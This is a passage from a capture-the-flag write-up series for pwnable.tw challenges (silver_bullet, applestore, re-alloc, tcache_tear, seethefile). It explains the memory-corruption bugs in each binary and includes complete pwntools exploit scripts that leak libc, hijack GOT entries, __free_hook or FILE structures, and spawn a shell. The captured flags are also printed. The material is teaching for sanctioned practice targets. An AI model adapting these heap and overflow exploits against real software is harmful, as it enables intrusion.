return puts("You can't power up any more !");
printf("Give me your another description of bullet :");
read_input(v2, 48 - bullet->power);
strncat(bullet, v2, 48 - bullet->power);
v3 = strlen(v2) + bullet->power;
printf("Your new power is : %u\n", v3);
bullet->power = v3;
return puts("Enjoy it !");
}
```
It limits our `bullet->power` under 48, and plus new strlen using `strncat`. But `strncat` put a terminating null character at the end.

So if we first create a bullet with 47 power, and power 1 more, it will overflow null byte to `bullet->power`, then it count the length of new input string, which is 1, plus with current `bullet->power`, which is 0. So the `bullet->power` is now 0. We can overflow more data from that!
`beat()` function:
```c!
int __cdecl beat(Bullet *bullet, Wolf *wolf)
{
if ( bullet->name[0] )
{
puts(">----------- Werewolf -----------<");
printf(" + NAME : %s\n", wolf->name);
printf(" + HP : %d\n", wolf->power);
puts(">--------------------------------<");
puts("Try to beat it .....");
usleep(1000000);
wolf->power -= bullet->power;
if ( wolf->power <= 0 )
{
puts("Oh ! You win !!");
return 1;
}
else
{
puts("Sorry ... It still alive !!");
return 0;
}
}
else
{
puts("You need create the bullet first !");
return 0;
}
}
```
It subtracts `wolf->power` with `bullet->power`. Nothing special in here.
Because we got overflow bug, we can change the return address of puts.got to puts.plt to leak the libc.

Now our power is enough to beat the werewolf. After powerup, our stack will be like this

`main` is the return address of `puts`, next is the parameter of `puts`.
To get shell, we just need to change `main` to exit, puts.plt to `system` and `puts.got` to `sh`'s address

Script:
```c!
#!/usr/bin/env python3
from pwn import *
exe = ELF("./silver_bullet_patched")
libc = ELF("./libc_32.so.6")
ld = ELF("./ld-2.23.so")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = connect("chall.pwnable.tw", 10103)
return r
def main():
r = conn()
input()
# puts("+++++++++++++++++++++++++++");
# puts(" Silver Bullet ");
# puts("+++++++++++++++++++++++++++");
# puts(" 1. Create a Silver Bullet ");
# puts(" 2. Power up Silver Bullet ");
# puts(" 3. Beat the Werewolf ");
# puts(" 4. Return ");
# puts("+++++++++++++++++++++++++++");
# good luck pwning :)
def create_bullet(description):
r.sendlineafter(b'Your choice :', b'1')
r.sendlineafter(b'bullet :', description)
def powerup_bullet(description):
r.sendlineafter(b'Your choice :', b'2')
r.sendlineafter(b'bullet :', description)
def beat():
r.sendlineafter(b'Your choice :', b'3')
create_bullet(b'A'*0x2f)
# Because the strncat add a null byte at the end, so we get a Off-by-one bug
powerup_bullet(b'B') # Overflow the 'power' value using Off-by-one bug. The power now should be 1 so we can overflow more
# Leak libc
payload = b'\xff\xff\xff'+b'C'*4 + p32(exe.plt['puts'])+p32(exe.sym['main'])+p32(exe.got['puts'])
powerup_bullet(payload)
pause()
beat()
r.recvuntil(b'Oh ! You win !!\n')
libc_leak = u32(r.recv(4))
libc.address = libc_leak - libc.sym['puts']
info('Libc leak: ' + hex(libc_leak))
info('Libc address: ' + hex(libc.address))
pause()
# Get shell
system = libc.sym['system']
binsh = next(libc.search('/bin/sh'))
create_bullet(b'A'*0x2f)
powerup_bullet(b'B')
payload = b'\xff\xff\xff'+b'C'*4 + p32(system)+p32(exe.sym['main'])+p32(binsh)
powerup_bullet(payload)
beat()
r.interactive()
if __name__ == "__main__":
main()
# FLAG{uS1ng_S1lv3r_bu1l3t_7o_Pwn_th3_w0rld}
```

# 8. applestore
We have a buying apple phone program:

`handler()` function:
```c!
unsigned int handler()
{
char choice[22]; // [esp+16h] [ebp-22h] BYREF
unsigned int v2; // [esp+2Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
while ( 1 )
{
printf("> ");
fflush(stdout);
my_read(choice, 21);
switch ( atoi(choice) )
{
case 1:
list();
break;
case 2:
add();
break;
case 3:
delete();
break;
case 4:
cart();
break;
case 5:
checkout();
break;
case 6:
puts("Thank You for Your Purchase!");
return __readgsdword(0x14u) ^ v2;
default:
puts("It's not a choice! Idiot.");
break;
}
}
}
```
`list()`:
```c!
int list()
{
puts("=== Device List ===");
printf("%d: iPhone 6 - $%d\n", 1, 199);
printf("%d: iPhone 6 Plus - $%d\n", 2, 299);
printf("%d: iPad Air 2 - $%d\n", 3, 499);
printf("%d: iPad Mini 3 - $%d\n", 4, 399);
return printf("%d: iPod Touch - $%d\n", 5, 199);
}
```
It labels the price for products.
`add()`:
```c!
unsigned int add()
{
item *v1; // [esp+1Ch] [ebp-2Ch]
char device_number[22]; // [esp+26h] [ebp-22h] BYREF
unsigned int v3; // [esp+3Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Device Number> ");
fflush(stdout);
my_read((int)device_number, 21);
switch ( atoi(device_number) )
{
case 1:
v1 = (item *)create("iPhone 6", 199);
insert((int)v1);
goto LABEL_8;
case 2:
v1 = (item *)create("iPhone 6 Plus", 299);
insert((int)v1);
goto LABEL_8;
case 3:
v1 = (item *)create("iPad Air 2", 499);
insert((int)v1);
goto LABEL_8;
case 4:
v1 = (item *)create("iPad Mini 3", 399);
insert((int)v1);
goto LABEL_8;
case 5:
v1 = (item *)create("iPod Touch", 199);
insert((int)v1);
LABEL_8:
printf("You've put *%s* in your shopping cart.\n", v1->itemName);
puts("Brilliant! That's an amazing idea.");
break;
default:
puts("Stop doing that. Idiot!");
break;
}
return __readgsdword(0x14u) ^ v3;
}
```
it create an item with the price has told in `list()`. Then use `insert`to insert it into a double linked list.
`create()`:
```c!
item *__cdecl create(const char *itemName, unsigned int price)
{
item *v3; // [esp+1Ch] [ebp-Ch]
v3 = (item *)malloc(16);
v3->price = price;
asprintf(v3, "%s", itemName);
v3->fd = 0;
v3->bk = 0;
return v3;
}
```
malloc a chunk with size `0x10` to hold the data.
Struct of an item:

`insert()`:
```c!
item *__cdecl insert(item *a1)
{
item *result; // eax
item *i; // [esp+Ch] [ebp-4h]
for ( i = (item *)&myCart; i->fd; i = i->fd )
;
i->fd = a1;
result = a1;
a1->bk = i;
return result;
}
```
`delete()`:
```c!
unsigned int delete()
{
int index; // [esp+10h] [ebp-38h]
item *item; // [esp+14h] [ebp-34h]
int item_to_delete; // [esp+18h] [ebp-30h]
item *fd; // [esp+1Ch] [ebp-2Ch]
item *bk; // [esp+20h] [ebp-28h]
char item_number[22]; // [esp+26h] [ebp-22h] BYREF
unsigned int v7; // [esp+3Ch] [ebp-Ch]
v7 = __readgsdword(0x14u);
index = 1;
item = dword_804B070;
printf("Item Number> ");
fflush(stdout);
my_read((int)item_number, 21);
item_to_delete = atoi(item_number);
while ( item )
{
if ( index == item_to_delete )
{
fd = item->fd;
bk = item->bk;
if ( bk )
bk->fd = fd;
if ( fd )
fd->bk = bk;
printf("Remove %d:%s from your shopping cart.\n", index, item->itemName);
return __readgsdword(0x14u) ^ v7;
}
++index;
item = item->fd;
}
return __readgsdword(0x14u) ^ v7;
}
```
It removes an item from cart by changing `(item->bk)->fd = item->fd` and `(item->fd)->bk = item->bk`, not using any free function.
`cart()`:
```c!
int cart()
{
int item_index; // eax
int count; // [esp+18h] [ebp-30h]
int total; // [esp+1Ch] [ebp-2Ch]
item *i; // [esp+20h] [ebp-28h]
char v5[22]; // [esp+26h] [ebp-22h] BYREF
unsigned int v6; // [esp+3Ch] [ebp-Ch]
v6 = __readgsdword(0x14u);
count = 1;
total = 0;
printf("Let me check your cart. ok? (y/n) > ");
fflush(stdout);
my_read((int)v5, 21);
if ( v5[0] == 'y' )
{
puts("==== Cart ====");
for ( i = dword_804B070; i; i = i->fd )
{
item_index = count++;
printf("%d: %s - $%d\n", item_index, i->itemName, i->price);
total += i->price;
}
}
return total;
}
```
it checks our item in the cart and return the total
`checkout()`:
```c!
unsigned int checkout()
{
int v1; // [esp+10h] [ebp-28h]
char v2[4]; // [esp+18h] [ebp-20h] BYREF
int v3; // [esp+1Ch] [ebp-1Ch]
unsigned int v4; // [esp+2Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
v1 = cart();
if ( v1 == 0x1C06 )
{
puts("*: iPhone 8 - $1");
asprintf(v2, "%s", "iPhone 8");
v3 = 1;
insert((int)v2);
v1 = 0x1C07;
}
printf("Total: $%d\n", v1);
puts("Want to checkout? Maybe next time!");
return __readgsdword(0x14u) ^ v4;
}
```
if our total cost is equal to `0x1c06`, it wil lgive us another `iphone 8` and insert it into our linked list. but that item is on stack. You can see the initialize of `v2`, it's in `ebp-0x20`.
Luckily, in `delete()` function, they let us create `item_number` with maximum 21, and `item_number` is in `ebp-0x22`, we can overwrite the value of the last product, which is `iphone 8` after we get it.

Because after `delete()`, it will printout the name of deleted item, we can change it to `puts.got` to leak out the libc address.

After getting libc address

Because we cannot overwrite the return address, we must somehow to execute `system(/bin/sh)`. In `delete()`, they use the mechanism i've told before to remove a node.

# 9. Re-alloc
We have a binary file 64 bit and libc version 2.29. We decompile it:

`main()` function:
```c!
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int choice; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
choice = 0;
init_proc(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%d", &choice);
if ( choice != 2 )
break;
reallocate();
}
if ( choice > 2 )
{
if ( choice == 3 )
{
rfree();
}
else
{
if ( choice == 4 )
_exit(0);
LABEL_13:
puts("Invalid Choice");
}
}
else
{
if ( choice != 1 )
goto LABEL_13;
allocate();
}
}
}
```
go into `allocate()`:
```c!
int allocate()
{
_BYTE *v0; // rax
unsigned __int64 v2; // [rsp+0h] [rbp-20h]
unsigned __int64 size; // [rsp+8h] [rbp-18h]
void *v4; // [rsp+18h] [rbp-8h]
printf("Index:");
v2 = read_long();
if ( v2 > 1 || heap[v2] )
{
LODWORD(v0) = puts("Invalid !");
}
else
{
printf("Size:");
size = read_long();
if ( size <= 0x78 )
{
v4 = realloc(0LL, size);
if ( v4 )
{
heap[v2] = v4;
printf("Data:");
v0 = (_BYTE *)(heap[v2] + read_input(heap[v2], size));
*v0 = 0;
}
else
{
LODWORD(v0) = puts("alloc error");
}
}
else
{
LODWORD(v0) = puts("Too large!");
}
}
return (int)v0;
}
```
They use realloc to allocate a chunk, limited with only 2 chunk and with the size not greater than `0x78`. And then `v0` is used to null terminator our input.
`reallocate()` function:
```c!
int reallocate()
{
unsigned __int64 v1; // [rsp+8h] [rbp-18h]
unsigned __int64 size; // [rsp+10h] [rbp-10h]
void *v3; // [rsp+18h] [rbp-8h]
printf("Index:");
v1 = read_long();
if ( v1 > 1 || !heap[v1] )
return puts("Invalid !");
printf("Size:");
size = read_long();
if ( size > 0x78 )
return puts("Too large!");
v3 = realloc((void *)heap[v1], size);
if ( !v3 )
return puts("alloc error");
heap[v1] = v3;
printf("Data:");
return read_input(heap[v1], size);
}
```
It will realloc our input heap index. But it doesn't check the case index 0 overlap the data of index 1.
`rfree()`:
```c!
int rfree()
{
_QWORD *v0; // rax
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
printf("Index:");
v2 = read_long();
if ( v2 > 1 )
{
LODWORD(v0) = puts("Invalid !");
}
else
{
realloc((void *)heap[v2], 0LL);
v0 = heap;
heap[v2] = 0LL;
}
return (int)v0;
}
```
it uses `realloc()` with 0 as size to free a chunk, and nulldify the chunk.
Let's see the structure of a chunk when we alloc and rfree:
First, i malloc a chunk with size 32:


So the size of our chunk is `0x20 + 0x10 of metadata = 0x30`.
I allocate one more and free the first one:

So now, the index 0 is freed. Note that there is no UAF here because the pointer to index 0 is removed:

My idea is to modify the metadata of index 1, make it size to `0x420` to bypass tcache bin. To do that, let's malloc a chunk with size `0x30`:

But i was wrong, i forgot it doesn't take the index 0's chunk. But...this give me an idea. I can free then malloc again, free then malloc again to create a fake chunk for unsorted bin. To do that, first, let's retry to modify the metadata of index 1.

Check in heap:

Hmmm, I don't know it will free the previous one and malloc one more.
After struggling, i know that if i realloc a chunk with size 0, it does not affect the pointer in `heap`.


You can see the different between this time and `rfree()`, there is still pointer in `heap`. So now if i realloc as the same size before(48),because it only check if exists `heap[v1]` or not, i can modify a freed chunk. We have UAF here!


Now i use a technique called [tcache poisoning](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/tcache_poisoning.c). Because we can modify freed chunk, so we can modify it into an address that we want to control.
So I will overwrite the atoll.got to printf.plt. First, we put `atoll.got` into tcache:



I will explain why the size is 0x20 later. Note that in mind.
After this step, in tcache is still have a valid chunk. We want to put it out, so we can alloc chunk index 1

So now, all 2 indexes is filled. We must reset them to reuse later.

The process i just used is poisoning `0x20` tcache.

Now we just need to put out that chunk in tcache `0x20`, overwrite its data with `printf.plt`, we now change `atoll` to `printf`:

If you wonder why it's 0x40, i will explain it later too, with 0x10 on there. :accept:
Now, we can check in gdb:

You can see now the chunk `0x404048` is taken out from tcache, and index 0 points to:

And we succesfully change atoi.got to printf.plt

In this step, you can use format string bug to leak out the libc address:

In my program, i use a libc address. But you can use `%..$p`

We have system address~ Now let's execute `system('/bin/sh')`. Because `atoll` is modified, so we cannot send index to the input. But `alloc()` function only checks if `heap[index]` exists or not. So we just need to alloc one more without index. But, how about the size? I was struggling in there because my program seg fault all times. I knew `atoll` is overwritten by `printf`, but i don't know why when i malloc one more, it doesn't seems like give us a shell because there are some reasons:
First, printf will return how many characters in your strings inputted in. BUT, when you alloc to overwrite `atoll` again, it can just malloc for you a `0x20` chunk (counted metadata).


You can see that it will malloc a new chunk on heap, not take out the chunk in tcache. So that's why i need to poison `0x20` tcache bin on there. It's leading to why i must taken out the `atoll.got` in `0x40` because i must use `0x20` later.

The tcache you poisoned should be like this. Except the first one, other can be different.
Like i talked before, `printf` will return the number of characters you input in, so i just only overwrite 8 bytes of `atoll.got` to `system`. This took me a lot of time to realize.


Script:
```python!
#!/usr/bin/env python3
from pwn import *
exe = ELF("./re-alloc_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-2.29.so", checksec=False)
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("chall.pwnable.tw", 10106)
return r
def main():
r = conn()
def alloc(index, size, data):
r.sendlineafter(b'Your choice: ', b'1')
r.sendlineafter(b'Index:', str(index).encode())
r.sendlineafter(b'Size:', str(size).encode())
r.sendlineafter(b'Data:', data)
def realloc(index, size, data):
r.sendlineafter(b'Your choice: ',b'2')
r.sendlineafter(b'Index:', str(index).encode())
r.sendlineafter(b'Size:', str(size).encode())
if size != 0:
r.sendlineafter(b'Data:', data)
def free(index):
r.sendlineafter(b'Your choice: ', b'3')
r.sendlineafter(b'Index:', str(index).encode())
input()
#########################
#Stage 1: Leak libc #
#########################
# Put atoll.got into 0x20 tcache for overwrite later
alloc(0, 0x10, b'A')
realloc(0, 0, b'\0')
realloc(0, 0x10, p64(exe.got['atoll']))
# pause()
# Put out the top chunk in tcache, leave alone only atoll.got in 0x20
alloc(1, 0x10, b'BBB')
# After that, we reset the pointer of index 0 and index 1 of 'heap' for reuse.
realloc(0, 0x20, b'AAA')
free(0)
# pause()
realloc(1, 0x30, b'CCCC')
free(1)
# pause()
###############################################
# This is for poisoning 0x50 tcache with atoll#
###############################################
alloc(0, 0x40, b'\0')
realloc(0,0,b'\0')
realloc(0,0x40, p64(exe.got['atoll']))
# pause()
alloc(1, 0x40, b'\0')
realloc(0, 0x50, b'\0')
free(0)
realloc(1, 0x60, b'\0')
free(1)
pause()
# Overwritting atoll.got
info('printf plt: ' + hex(exe.plt['printf']))
alloc(0, 0x40, p64(exe.plt['printf']))
# alloc(0, 0x40, b'A'*8)
# Now atoll become printf
pause()
# Leak libc
free(exe.got['printf'])
r.recv(8)
libc_leak = u64(r.recv(6) + b'\0\0')
libc.address = libc_leak - 0x83e4a
info('Libc leak: ' + hex(libc_leak))
info('Libc address: ' + hex(libc.address))
system = libc.sym['system']
info('Libc system: ' + hex(system))
############################
# Stage 2: Get shell #
############################
# Because index 0x50 of tcache has been corrupted, we need to find another index to overwrite atoll to system.
# But i forgot that because choice 3 (rfree()) cannot be used anymore, so i must put atoll got before, in stage 1.
# pause()
r.sendlineafter(b'Your choice: ', b'1')
r.sendlineafter(b'Index:', b'')
r.sendlineafter(b'Size:', b'AAAAAAAA')
r.sendlineafter(b'Data:', p64(system))
pause()
# Trigger shell
r.sendlineafter(b'Your choice: ', b'1')
r.sendlineafter(b'Index:', b'/bin/sh')
# good luck pwning :)
r.interactive()
if __name__ == "__main__":
main()
# FLAG{r3all0c_the_memory_r3all0c_the_sh3ll}
```
# 10.Tcache Tear
We have given libc(2.27) and binary file. Decompile:

```c!
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rax
unsigned int v4; // [rsp+Ch] [rbp-4h]
set_buf(a1, a2, a3);
printf("Name:");
readinp(&name, 32LL);
v4 = 0;
while ( 1 )
{
while ( 1 )
{
menu();
v3 = convert_long();
if ( v3 != 2 )
break;
if ( v4 <= 7 )
{
free(ptr);
++v4;
}
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
view();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_14:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_14;
create();
}
}
}
```
Easy to know that, there is a UAF bug here. And it only let us free 8 chunks in total. It only frees the last chunk created so we cannot choose which one to free.
Let's check another function.
`create()`:
```c!
int sub_400B14()
{
size_t v0; // rax
int size; // [rsp+8h] [rbp-8h]
printf("Size:");
v0 = convert_long();
size = v0;
if ( v0 <= 0xFF )
{
ptr = malloc(v0);
printf("Data:");
readinp(ptr, (unsigned int)(size - 16));
LODWORD(v0) = puts("Done !");
}
return v0;
}
```
We can only malloc a smaller `0xff` chunk.
`view()`:
```c!
ssize_t view()
{
printf("Name :");
return write(1, &name, 0x20uLL);
}
```
It just prints out our name.
This is libc 2.27, so we can use double-free vulnerability. Because it doesn't delete ptr to freed chunk, we can free a chunk twice. About double-free you can read more in [here](https://guyinatuxedo.github.io/27-edit_free_chunk/double_free_explanation/index.html). Of course, this is for higher libc version. From 2.29, there is mechanism that checks bins to prevent double free

To demonstrate, if you create a chunk and free them 2 times, you can see it points to itself.

So if we can change that value in `0x603260`, make it points to a fake chunk so then when we take it out, free it, it will go into unsorted bin.
To do that, first, we must create a fake chunk. Because we can only `view()` for `name`, this will be our perfect target.
To make a fake chunk, we need a start and end unsorted bin:
- `name` will keep the metadata of the fake chunk

- Our fake chunk will be like this
```
name address: |metadata |
name + 0x10 : | 0 | <- actual pointer in tcache
...
name + 0x500: |metadata of small chunk 1|
name + 0x510: |data of small chunk 1 |
name + 0x520: |metadata of small chunk 2|
```
Why we need 2 small chunks? Why don't use 1 chunk just to limit? I tried and always get double free or corruption. My explaination is, when a chunk is freed, the chunk after it will have the metadata like this

So, if we don't make a small chunk 2, and make small chunk 1 is overlapped by our fake chunk, when we free it, we will get error because it will try to consolidate it with top chunk (because there is no chunk after it). And the small chunk 2, its role is limitting our fake chunk in 0x500.
This is how to make a fake chunk.

We use double free to write data in `name_addr+0x500` with small chunk 1 and chunk 2.

Next time, we must use another index of tcache because this `0x50` tcache is corrupted and cannot be used anymore.


You can check my explaination:

That `500` is the previous size, and `0x20` is the size of small chunk 1 and from `0x21` to `0x20` because previous chunk is not in used.
Now we just need to show info and get libc leak.

Because FullRelRO is enabled, we cannot overwrite GOT. So we must overwrite `free_hook` to one gadget to get shell.


Script:
```python!
#!/usr/bin/env python3
from pwn import *
exe = ELF("./tcache_tear_patched", checksec=False)
libc = ELF("./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so", checksec=False)
ld = ELF("./ld-2.27.so", checksec=False)
context.binary = exe
def conn():
if args.REMOTE:
r = remote("chall.pwnable.tw", 10207)
else:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
return r
r = conn()
input()
def create(size, data):
r.sendlineafter(b'Your choice :', b'1')
r.sendlineafter(b'Size:', str(size).encode())
r.sendlineafter(b'Data:', data)
def free():
r.sendlineafter(b'Your choice :', b'2')
def view():
r.sendlineafter(b'Your choice :', b'3')
# Create fake chunk in Name
name_addr = 0x602060
r.sendlineafter(b'Name:', p64(0) + p64(0x501))
create(0x40, b'A')
free()
free()
create(0x40, p64(name_addr+0x500))
# pause()
create(0x40, p64(0))
# Create small chunks to bypass check valid and limit the size of fake chunk
create(0x40, p64(0) + p64(0x21) + p64(0)*3 + p64(0x21))
# pause()
# Put the fake chunk into unsorted bin.
create(0x30, b'A')
free()
free()
# pause()
create(0x30, p64(name_addr + 0x10))
# pause()
create(0x30 ,b'\0')
# pause()
create(0x30, b'\0')
# pause()
free()
# Leak libc
view()
r.recvuntil(b'Name :')
r.recv(16)
libc_leak = u64(r.recv(6) + b'\0\0')
libc.address = libc_leak - 0x3ebca0
info('Libc leak: ' + hex(libc_leak))
info('Libc address: ' + hex(libc.address))
free_hook = libc.sym['__free_hook']
info('Libc free_hook: ' + hex(free_hook))
# Overwrite free_hook
onegadget = libc.address + 0x4f322
create(0x60, b'A')
free()
free()
create(0x60, p64(free_hook))
create(0x60, b'\0')
pause()
create(0x60, p64(onegadget))
pause()
# Trigger free_hook
free()
pause()
# FLAG{tc4ch3_1s_34sy_f0r_y0u}
# good luck pwning :)
r.interactive()
```
I searched and read some writeups and know that there is another way to solve this challenge without overwritting `name` variable. The idea is using FILE struct attack. For more information, you can read it in [here](https://hackmd.io/@y198/HkR3Bz1-s)(in Vietnamese)
In conclusion, we must bypass this

So we must set `fp->flags` to `0xfbad1800`, which is the value of `IO_IS_APPENDING`, and overwrite the last byte of `_IO_write_base` to `\x00` so we can leak out `_IO_stdfile_2_lock`. After modify it, the `__IO_2_1_stdout_` will be like this
```bash!
p _IO_2_1_stdout_
$1 = {
file = {
_flags = 0xfbad1800,
_IO_read_ptr = 0x7c21d2bec7e3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7c21d2bec7e3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7c21d2bec7e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7c21d2bec7e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7c21d2bec7e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7c21d2bec7e4 <_IO_2_1_stdout_+132> "",
_IO_buf_base = 0x7c21d2bec7e3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7c21d2bec7e4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7c21d2beba00 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "\n",
_lock = 0x7c21d2bed8c0 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7c21d2beb8c0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7c21d2be82a0 <__GI__IO_file_jumps>
}
```


Other step is the same.
Script 2:
```python!
#!/usr/bin/env python3
from pwn import *
exe = ELF("./tcache_tear_patched", checksec=False)
libc = ELF("./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so", checksec=False)
ld = ELF("./ld-2.27.so", checksec=False)
context.binary = exe
def conn():
if args.REMOTE:
r = remote("chall.pwnable.tw", 10207)
else:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
return r
r = conn()
input()
def create(size, data, newline = True):
r.sendlineafter(b'Your choice :', b'1')
r.sendlineafter(b'Size:', str(size).encode())
if newline:
r.sendlineafter(b'Data:', data)
else:
r.sendafter(b'Data:', data)
def free():
r.sendlineafter(b'Your choice :', b'2')
def view():
r.sendlineafter(b'Your choice :', b'3')
# Overwrite _IO_2_1_stdout
name_addr = 0x602060
ptr = 0x602088
stdout = 0x602020
r.sendlineafter(b'Name:', p64(0) + b'A')
create(0x70, b'A')
free()
free()
# pause()
create(0x70, p64(stdout))
create(0x70, b'A')
# pause()
# Points stdout to _IO_2_1_stdout
create(0x70, b'\x60', newline = False)
# pause()
# Modify _IO_2_1_stdout
create(0x70, p64(0xfbad1800) + p64(0)*3 + b'\x00', newline = False)
# pause()
# Leak libc
r.recv(8)
libc_leak = u64(r.recv(6) + b'\0\0')
libc.address = libc_leak - 0x3ed8b0
info('Libc leak: ' + hex(libc_leak))
info('Libc address: ' + hex(libc.address))
free_hook = libc.sym['__free_hook']
info('Libc free_hook: ' + hex(free_hook))
# Overwrite free_hook
onegadget = libc.address + 0x4f322
create(0x60, b'A')
free()
free()
create(0x60, p64(free_hook))
create(0x60, b'\0')
# pause()
create(0x60, p64(onegadget))
pause()
# Trigger free_hook
free()
# pause()
# FLAG{tc4ch3_1s_34sy_f0r_y0u}
# good luck pwning :)
r.interactive()
```

# 11. seethefile
We get a binary file with libc_32

Decompile to see what's inside the `main` function:
```c!
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-Ch] [ebp-44h]
int v5; // [esp-Ch] [ebp-44h]
int v6; // [esp-8h] [ebp-40h]
int v7; // [esp-4h] [ebp-3Ch]
char v8[32]; // [esp+Ch] [ebp-2Ch] BYREF
unsigned int v9; // [esp+2Ch] [ebp-Ch]
v9 = __readgsdword(0x14u);
init();
welcome();
while ( 1 )
{
menu();
__isoc99_scanf("%s", v8);
switch ( atoi(v8) )
{
case 1:
openfile();
continue;
case 2:
readfile();
continue;
case 3:
writefile();
continue;
case 4:
closefile();
continue;
case 5:
printf("Leave your name :");
__isoc99_scanf("%s", name);
printf("Thank you %s ,see you next time\n", name);
if ( fp )
fclose(fp);
exit(0, v5, v6, v7);
goto LABEL_10;
default:
LABEL_10:
puts("Invaild choice");
exit(0, v4, v6, v7);
break;
}
}
}
```
There is a overflow bug here, when it used `scanf` to take our input for `name`, but didn't limit the size of it. And you can see the space between `name` and `fp`

Let's see other function. `openfile()`:
```c!
int openfile()
{
int v1; // [esp-Ch] [ebp-14h]
int v2; // [esp-8h] [ebp-10h]
int v3; // [esp-4h] [ebp-Ch]
if ( fp )
{
puts("You need to close the file first");
return 0;
}
else
{
memset(&magicbuf, 0, 400);
printf("What do you want to see :");
__isoc99_scanf("%63s", &filename);
if ( strstr(&filename, "flag") )
{
puts("Danger !");
exit(0, v1, v2, v3);
}
fp = fopen(&filename, "r");
if ( fp )
return puts("Open Successful");
else
return puts("Open failed");
}
}
```
Open file just open a file for us, if it does not contain `flag` in their name.
`readfile()`:
```c!
int readfile()
{
int result; // eax
memset(&magicbuf, 0, 400);
if ( !fp )
return puts("You need to open a file first");
result = fread(&magicbuf, 399, 1, fp);
if ( result )
return puts("Read Successful");
return result;
}
```
It used `fread()` to read data from file.
`closefile()`:
```c!
int closefile()
{
int result; // eax
if ( fp )
result = fclose(fp);
else
result = puts("Nothing need to close");
fp = 0;
return result;
}
```
It set `fp` to 0 which closes file.
Because we can overwrite `fp`, `fp` is `_IO_FILE_plus` struct, this can be seen in glibc 2.23 which is our libc version of this task:

This is the struct of `_IO_FILE`:

`_IO_jump_t`:

It takes 2 parameters to jump to corresponding function. For example, if a function called `__IO_read_t`, it will called to `__read`
Now, if we can create a fake vtables and points `_IO_FILE_plus` to it, we can execute anything we want.
Because after calling `fclose()`, it will exit immediately. We want to change the `fclose()` somehow to return to our main.
When program calls to `fclose()`, a `_IO_new_close()` will be called instead:

`_IO_new_close()`:
```c!
_IO_new_fclose (_IO_FILE *fp)
{
int status;
CHECK_FILE(fp, EOF);
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions. Detect old streams
here. */
if (_IO_vtable_offset (fp) != 0)
return _IO_old_fclose (fp);
#endif
/* First unlink the stream. */
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp);
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
if (fp->_mode > 0)
{
#if _LIBC
/* This stream has a wide orientation. This means we have to free
the conversion functions. */
struct _IO_codecvt *cc = fp->_codecvt;
__libc_lock_lock (__gconv_lock);
__gconv_release_step (cc->__cd_in.__cd.__steps);
__gconv_release_step (cc->__cd_out.__cd.__steps);
__libc_lock_unlock (__gconv_lock);
#endif
}
else
{
if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
}
if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_IO_file_flags = 0;
free(fp);
}
return status;
}
```
it returns `status`, which is set by `_IO_file_close_it`, or `_IO_new_file_close_it`:

```c!
_IO_new_file_close_it (_IO_FILE *fp)
{
int write_status;
if (!_IO_file_is_open (fp))
return EOF;
if ((fp->_flags & _IO_NO_WRITES) == 0
&& (fp->_flags & _IO_CURRENTLY_PUTTING) != 0)
write_status = _IO_do_flush (fp);
else
write_status = 0;
_IO_unsave_markers (fp);
int close_status = ((fp->_flags2 & _IO_FLAGS2_NOCLOSE) == 0
? _IO_SYSCLOSE (fp) : 0);
/* Free buffer. */
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
if (fp->_mode > 0)
{
if (_IO_have_wbackup (fp))
_IO_free_wbackup_area (fp);
_IO_wsetb (fp, NULL, NULL, 0);
_IO_wsetg (fp, NULL, NULL, NULL);
_IO_wsetp (fp, NULL, NULL);
}
#endif
_IO_setb (fp, NULL, NULL, 0);
_IO_setg (fp, NULL, NULL, NULL);
_IO_setp (fp, NULL, NULL);
